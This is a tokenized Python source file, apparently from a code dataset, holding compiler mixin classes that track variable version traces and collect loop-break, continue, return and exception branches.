"init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "For", " ", "function", "s", ",", " ", "whe", "n", " ", "we", " ", "are", " ", "in", " ", "here", ",", " ", "the", " ", "currentl", "y", " ", "active", " ", "one", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "variab", "le", "\\u", "active", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "get", "Varia", "ble", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "self_", "._", "get", "Curr", "ent", "Varia", "ble", "Version_", "(_", "variable_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mark", "Curr", "ent", "Varia", "ble", "Trace_", "(_", "self_", ",_", "variable_", ",_", "version_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "variab", "le", "\\u", "active", "s_", "[_", "variable_", "]_", "=_", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Curr", "ent", "Varia", "ble", "Version_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "variab", "le", "\\u", "active", "s_", "[_", "variable_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Initializ", "e", " ", "variab", "les", " ", "on", " ", "the", " ", "fly", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "has", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "init", "Variable_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "mark", "Curr", "ent", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "self_", "._", "variab", "le", "\\u", "active", "s_", "[_", "variable_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Activ", "e", "Variables_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "variab", "le", "\\u", "active", "s_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mark", "Activ", "e", "Varia", "ble", "As", "Unknown_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "current_", "=_", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "current_", "._", "is", "Un", "know", "n", "Trace_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "variable_", "._", "allocate", "Target", "Number_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Varia", "ble", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "trace_", "=_", "Varia", "ble", "Trace", "Unknown_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "owner_", "=_", "self_", "._", "owner_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "previous_", "=_", "current_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "mark", "Curr", "ent", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mark", "Activ", "e", "Varia", "ble", "As", "Loop", "Merge_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "current_", "=_", "self_", "._", "get", "Varia", "ble", "Curr", "ent", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "variable_", "._", "allocate", "Target", "Number_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "Varia", "ble", "Trace", "Loop", "Merge_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "previous_", "=_", "current_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Varia", "ble", "Trace_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "trace_", "=_", "result_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "mark", "Curr", "ent", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Trac", "ing", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mark", "Activ", "e", "Varia", "bles", "As", "Unknown_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "variable_", "in_", "self_", "._", "get", "Activ", "e", "Variables_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "Activ", "e", "Varia", "ble", "As", "Unknown_", "(_", "variable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Varia", "ble", " ", "assign", "ment", "s", " ", "perform", "ed", " ", "in", " ", "here", ",", " ", "last", " ", "issue", "d", " ", "number", ",", " ", "only", " ", "used_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "dete", "rmin", "e", " ", "the", " ", "next", " ", "number", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "used", " ", "for", " ", "a", " ", "new", " ", "assign", "ment", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "variab", "le", "\\u", "versions_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "full", " ", "trace", " ", "of", " ", "a", " ", "variab", "le", " ", "with", " ", "a", " ", "version", " ", "for", " ", "the", " ", "function", " ", "or", " ", "module_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "is", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "variab", "le", "\\u", "traces_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "break", "\\u", "collections_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "continue", "\\u", "collections_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "return", "\\u", "collections_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "exception", "\\u", "collections_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Loop", "Break", "Collections", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "break", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Loop", "Break", "_", "(_", "self_", ",_", "collection_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "collection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "break", "\\u", "collections_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Constr", "aint", "Collecti", "on", "Branch_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "parent_", "=_", "collection_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "\"", "loop", " ", "break", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Loop", "Continu", "e", "Collections", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "continue", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Loop", "Continu", "e_", "(_", "self_", ",_", "collection_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "collection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "continue", "\\u", "collections_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Constr", "aint", "Collecti", "on", "Branch_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "parent_", "=_", "collection_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "\"", "loop", " ", "continue", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Function", "Return_", "(_", "self_", ",_", "collection_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "collection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "return", "\\u", "collections_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "return", "\\u", "collections_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Constr", "aint", "Collecti", "on", "Branch_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "parent_", "=_", "collection_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "\"", "return", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Except", "ion", "Rai", "se", "Exit_", "(_", "self_", ",_", "rais", "able", "\\u", "exceptions_", ",_", "collection_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "We", " ", "mig", "ht", " ", "want", " ", "to", " ", "track", " ", "per", " ", "exception", ",", " ", "pylint", ":", " ", "disable", "=", "W", "061", "3_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "collection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "exception", "\\u", "collections_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "exception", "\\u", "collections_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Constr", "aint", "Collecti", "on", "Branch_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "parent_", "=_", "collection_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "\"", "exception", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Function", "Return", "Collections", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "return", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Except", "ion", "Rai", "se", "Collections", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "exception", "\\u", "collections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "Varia", "ble", "Trace_", "(_", "self_", ",_", "variable_", ",_", "version_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "variable_", ",_", "version_", ")_", "in_", "self_", "._", "variab", "le", "\\u", "traces_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Varia", "ble", "Trace_", "(_", "self_", ",_", "variable_", ",_", "version_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "variab", "le", "\\u", "traces_", "[_", "(_", "variable_", ",_", "version_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Varia", "ble", "Trace", "s_", "(_", "self_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "key_", ",_", "variab", "le", "\\u", "trace_", "in_", "iter", "Items_", "(_", "self_", "._", "variab", "le", "\\u", "traces_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "candidate_", "=_", "key_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "variable_", "is_", "candidate_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "._", "append_", "(_", "variab", "le", "\\u", "trace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Varia", "ble", "Trace", "s", "All_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "variab", "le", "\\u", "traces_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Varia", "ble", "Trace_", "(_", "self_", ",_", "variable_", ",_", "version_", ",_", "trace_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "variable_", ",_", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "key_", "not_", "in_", "self_", "._", "variab", "le", "\\u", "traces_", ",_", "(_", "key_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "variab", "le", "\\u", "traces_", "[_", "key_", "]_", "=_", "trace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Varia", "ble", "Merge", "Multipl", "e", "Trace_", "(_", "self_", ",_", "variable_", ",_", "traces_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "variable_", "._", "allocate", "Target", "Number_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trace", "\\u", "merge_", "=_", "Varia", "ble", "Trace", "Merge_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "variable_", "=_", "variable_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "version_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "traces_", "=_", "traces_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Varia", "ble", "Trace_", "(_", "variable_", ",_", "version_", ",_", "trace", "\\u", "merge_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dump", "Trace", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "debug_", "(_", "\"", "Constr", "aint", " ", "collection", " ", "state", ":", " ", "%", "s", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "\\u", "variab", "le", "\\u", "desc_", ",_", "variab", "le", "\\u", "trace_", "in_", "sorted_", "(_", "iter", "Items_", "(_", "self_", "._", "variab", "le", "\\u", "traces_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "debug", "(", " ", "\"%", "r", ":", " ", "%", "r", "\",", " ", "variab", "le", "\\u", "trace", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "variab", "le", "\\u", "trace_", "._", "dump_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Collecti", "on", "Start", "point", "Mixin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dump", "Activ", "e", "Trace", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Trac", "ing_", "._", "print", "Separator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Trac", "ing_", "._", "print", "Line_", "(_", "\"", "Activ", "e", " ", "are", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "variable_", ",_", "\\u", "version_", "in_", "sorted_", "(_", "self_", "._", "variab", "le", "\\u", "active", "s_", "._", "iteritems_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 